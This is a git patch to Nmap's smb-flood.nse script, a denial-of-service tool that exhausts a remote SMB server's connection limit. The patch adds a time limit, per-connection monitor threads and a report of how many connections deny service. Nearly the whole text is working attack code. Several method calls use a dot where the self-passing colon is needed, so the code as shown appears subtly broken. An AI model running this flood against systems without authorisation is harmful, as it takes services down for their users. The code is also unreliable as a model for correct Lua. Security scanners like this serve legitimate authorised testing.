From a3c725acd4988a89460adb61e815b66ef3d1ae9b Mon Sep 17 00:00:00 2001
From: dmiller <dmiller@e0a8ed71-7df4-0310-8962-fdc924857419>
Date: Thu, 22 Sep 2022 20:16:44 +0000
Subject: [PATCH] Prevent smb-flood from using all sockets. Fixes #947

---
 scripts/smb-flood.nse | 120 ++++++++++++++++++++++++++++++++++++------
 1 file changed, 104 insertions(+), 16 deletions(-)

diff --git a/scripts/smb-flood.nse b/scripts/smb-flood.nse
index f2c600256..94342fc4c 100644
--- a/scripts/smb-flood.nse
+++ b/scripts/smb-flood.nse
@@ -1,6 +1,9 @@
 local smb = require "smb"
 local stdnse = require "stdnse"
-local table = require "table"
+local string = require "string"
+local nmap = require "nmap"
+local coroutine = require "coroutine"
+local datetime = require "datetime"
 
 description = [[
 Exhausts a remote SMB server's connection limit by by opening as many
@@ -24,10 +27,13 @@ never ends (until timeout).
 -- nmap --script smb-flood.nse -p445 <host>
 -- sudo nmap -sU -sS --script smb-flood.nse -p U:137,T:139 <host>
 --
+-- @args smb-flood.timelimit The amount of time the script should run.
+--                           Default: 30m
+--
 -- @output
--- n/a
------------------------------------------------------------------------
-
+-- Target down 30 times in 1m.
+-- 320 connections made, 11 max concurrent connections.
+-- 10 connections on average required to deny service.
 
 
 author = "Ron Bowes"
@@ -36,23 +42,105 @@ license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
 categories = {"intrusive","dos"}
 dependencies = {"smb-brute"}
 
+local time_limit, arg_error = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timelimit') or '30m')
 
 hostrule = function(host)
+  if not time_limit then
+    stdnse.verbose("Invalid timelimit: %s", arg_error)
+    return false
+  end
   return smb.get_port(host) ~= nil
 end
 
-action = function(host)
-  local states = {}
-  repeat
-    local status, result = smb.start_ex(host, true, true)
-    if(status) then
-      table.insert(states, result) -- Keep the result so it doesn't get garbage cleaned
-      stdnse.debug1("Connection successfully opened")
-      stdnse.sleep(.1)
-    else
-      stdnse.debug1("Connection failed: %s", result)
-      stdnse.sleep(1)
+local State = {
+  new = function (self, host)
+    local now = nmap.clock()
+    local o = {
+      host = host,
+      start_time = now,
+      end_time = time_limit + now,
+      threads = {},
+      count = 0, -- current number of connections
+      num_dead = 0, -- number of times connect failed
+      max = 0, -- highest number of connections sustained
+      total = 0, -- total number of connections established
+      avg = 0, -- average number of connections required to DoS
+      terminate = false,
+    }
+    o.condvar = nmap.condvar(o)
+    setmetatable(o, self)
+    self.__index = self
+    return o
+  end,
+
+  timedout = function (self)
+    return nmap.clock() >= self.end_time
+  end,
+
+  go = function(self)
+    while not self.timedout() do
+      local status, smbstate = smb.start_ex(self.host, true, true)
+      if status then -- Success, spawn a thread to watch this one.
+        self.count = self.count + 1
+        self.total = self.total + 1
+        local co = stdnse.new_thread(self.smb_monitor, self, smbstate)
+        self.threads[co] = true
+      else -- Failed to connect; target dead? sleep.
+        self.num_dead = self.num_dead + 1
+        if self.count > self.max then
+          self.max = self.count
+        end
+        self.avg = self.avg + (self.count - self.avg) / self.num_dead
+        stdnse.debug1("SMB connect failed: %s", smbstate)
+        stdnse.sleep(1)
+      end
+
+      self.reap_threads()
     end
-  until false
+
+    -- Timed out. Wait for the threads to finish.
+    self.terminate = true
+    while next(self.threads) do
+      self.condvar("wait")
+      self.reap_threads()
+    end
+  end,
+
+  reap_threads = function(self)
+    for t in pairs(self.threads) do
+      if coroutine.status(t) == "dead" then
+        self.count = self.count - 1
+        self.threads[t] = nil
+      end
+    end
+  end,
+
+  smb_monitor = function(self, smbstate)
+    while not self.terminate do
+      -- Try to read from the connection so that we get notified if it is closed by the server.
+      local status, result = smb.smb_read(smbstate, false)
+      if not status and not string.match(result, "TIMEOUT") then
+        break
+      end
+    end
+    smb.stop(smbstate)
+    self.condvar("signal")
+  end,
+
+  report = function(self)
+    return ("Target down %d times in %s.\n"
+      .. "%d connections made, %d max concurrent connections.\n"
+      .. "%d connections on average required to deny service."):format(
+      self.num_dead, datetime.format_time(self.end_time - self.start_time),
+      self.total, self.max, self.avg)
+  end
+}
+
+action = function(host)
+  local state = State:new(host)
+
+  state.go()
+
+  return state.report()
 end